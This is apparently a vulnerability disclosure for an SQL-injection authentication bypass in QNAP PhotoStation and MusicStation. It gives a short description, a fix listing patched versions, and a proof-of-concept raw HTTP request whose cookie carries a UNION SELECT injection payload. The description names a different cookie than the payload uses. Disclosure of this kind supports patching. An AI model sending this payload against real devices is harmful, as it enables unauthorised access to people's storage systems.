29 lines
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996 B
Text
29 lines
No EOL
996 B
Text
# Exploit QNAP PhotoStation 5.2.4 and MusicStation 4.8.4 Authentication Bypass
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# Date: 10.05.2017
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# Software Link: https://www.qnap.com
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# Exploit Author: Kacper Szurek
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# Contact: https://twitter.com/KacperSzurek
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# Website: https://security.szurek.pl/
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# Category: web
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1. Description
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`$_COOKIE[STATIONSID]` is not escaped and then used inside SQL statement.
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https://security.szurek.pl/qnap-photostation-524-musicstation-484-authentication-bypass.html
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2. Proof of Concept
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GET /photo/api/dmc.php HTTP/1.1
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Host: qnap.host:8080
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Encoding: gzip, deflate, sdch
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Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
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Cookie: QMS_SID=' UNION SELECT 9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999 -- a
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Connection: close
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3. Fix
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Upgrade to version: Photo Station (5.3.4 / 5.2.5), Music Station (5.0.4 / 4.8.5) |